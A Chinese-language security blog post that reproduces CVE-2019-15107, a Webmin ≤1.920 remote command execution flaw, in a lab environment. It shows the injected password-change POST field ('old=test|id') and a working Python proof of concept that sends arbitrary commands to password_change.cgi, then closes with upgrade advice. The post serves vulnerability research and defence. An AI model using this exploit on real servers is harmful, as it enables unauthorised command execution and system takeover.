Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)利用测试

0x00 前言


2019年8月10日,Ozkan(@ehakkus)在DEFCON AppSec Village公开了一个0 day,1.930以下版本的Webmin存在远程代码执行漏洞,文章地址如下:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

我对这个漏洞进行了跟踪研究,本文将要记录测试过程,根据漏洞原理使用Python编写一个POC,并给出防御建议

0x01 简介


本文将要介绍以下内容:

  • 漏洞简介
  • 搭建测试环境
  • 使用Burp Suite复现漏洞
  • 使用Python编写POC

0x02 漏洞简介


Webmin是基于Web的Unix系统管理工具,简单理解:使用Webmin能够通过浏览器远程管理Unix系统的主机

1.930以下版本的Webmin存在远程代码执行漏洞,当Webmin的Password expiry policy设置为Prompt users with expired passwords to enter a new one时(默认设置为Always deny users with expired passwords),通过构造特殊格式的POST包,能够实现远程代码执行

0x03 搭建测试环境和漏洞复现


测试系统: Centos7 x64 IP:192.168.112.181

1.安装perl和依赖库

yum -y install perl
yum -y install perl-Net-SSLeay
yum -y install perl-Encode-Detect

2.下载并安装存在漏洞的Webadmin(1.920)

wget https://sourceforge.net/projects/webadmin/files/webmin/1.920/webmin-1.920-1.noarch.rpm
rpm -U webmin-1.920-1.noarch.rpm

安装成功后Webadmin默认开启SSL

3.配置防火墙,打开10000端口,支持远程访问

添加10000端口:

firewall-cmd --zone=public --add-port=10000/tcp --permanent

重启防火墙:

firewall-cmd --reload

查看端口号是否开启:

firewall-cmd --query-port=10000/tcp

4.远程登录

https://192.168.112.181:10000

登录页面如下图

Alt text

使用Centos的root用户口令进行登录

注:

为了便于测试,可以先关闭SSL功能,位置为:Webmin Configuration -> SSL Encryption

如下图

Alt text

新的登录页面为http://192.168.112.181:10000

5.修改Password expiry policy

位置为:Webmin Configuration -> Authentication

默认为Always deny users with expired passwords

修改为Prompt users with expired passwords to enter a new on

如下图

Alt text

6.添加新用户

位置为:Webmin Users

添加用户成功后,修改Password选项,添加Force change at next login

如下图

Alt text

7.使用新用户登录

提示需要修改密码

如下图

Alt text

8.开启Burp Suite进行抓包

任意输入旧口令和新的口令

Burp Suite抓包如下图

Alt text

正常的返回结果如下图

Alt text

9.修改POST包,添加Payload

重复步骤8,并修改POST包

原数据:

user=a&pam=&expired=2&old=123&new1=456&new2=456

新数据:

user=a&pam=&expired=2&old=123|id&new1=456&new2=456

如下图

Alt text

新的结果如下图

Alt text

执行了命令(id)并输出结果

0x04 使用Python编写POC


Ozkan(@ehakkus)在他的文章中使用ruby编写了POC,这里使用Python根据Burp Suite的抓包情况重写一个POC

需要考虑以下问题:

1.Python使用requests发送POST包

POST包格式如下图

Alt text

对应Python使用requests发送POST包的代码如下:

import requests
def test_post_http(ip,command):
    try:
        url = 'http://' + ip + ':10000/password_change.cgi'
        headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': "gzip, deflate",
            'Referer': 'http://' + ip + ':10000/session_login.cgi',
            'Cookie': 'redirect=1; testing=1; sid=x',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '47'
        } 
        payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1'
        r = requests.post(url, data=payload, headers = headers)
    	print r.text
    except Exception as e:
            print '[!]Error:%s'%e

2.添加对结果的识别

如果Webmin未开启Prompt users with expired passwords to enter a new one,结果为:

<h1>Error - Perl execution failed</h1>
<p>Password changing is not enabled! at /usr/libexec/webmin/password_change.cgi line 12.
</p>

如果Webmin使用https,结果为:

<h1>Error - Document follows</h1>
<pre>This web server is running in SSL mode. Try the URL <a href='https://webmin-node-reddis:10000/'>https://webmin-node-reddis:10000/</a> instead.<br></pre>

如果Webmin开启Prompt users with expired passwords to enter a new one,结果为:

<hr>
<center><h3>Failed to change password : The current password is incorrect</h3></center>
<hr>

3.添加对HTTPS的支持

如果结果为This web server is running in SSL mode.,那么跳转到HTTPS再次测试

另外,需要取消证书验证

原代码:

r = requests.post(url, data=payload, headers = headers)

新代码:

r = requests.post(url, data=payload, headers = headers, verify = False)

取消证书的ssl-warning,添加代码:

import warnings
warnings.filterwarnings("ignore")

否则,会提示:

C:\Python27\lib\site-packages\urllib3-1.25.3-py2.7.egg\urllib3\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings  InsecureRequestWarning)

完整测试代码已开源,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Webmin%3C=1.920-Unauthenticated_RCE(CVE-2019-15107).py

0x05 防御建议


1.升级至1.930

2.Password expiry policy采用默认设置

0x06 小结


本文对Webmin<=1.920的远程代码执行进行测试,记录过程,根据漏洞原理使用Python编写一个POC,并给出防御建议


LEAVE A REPLY

Written on August 16, 2019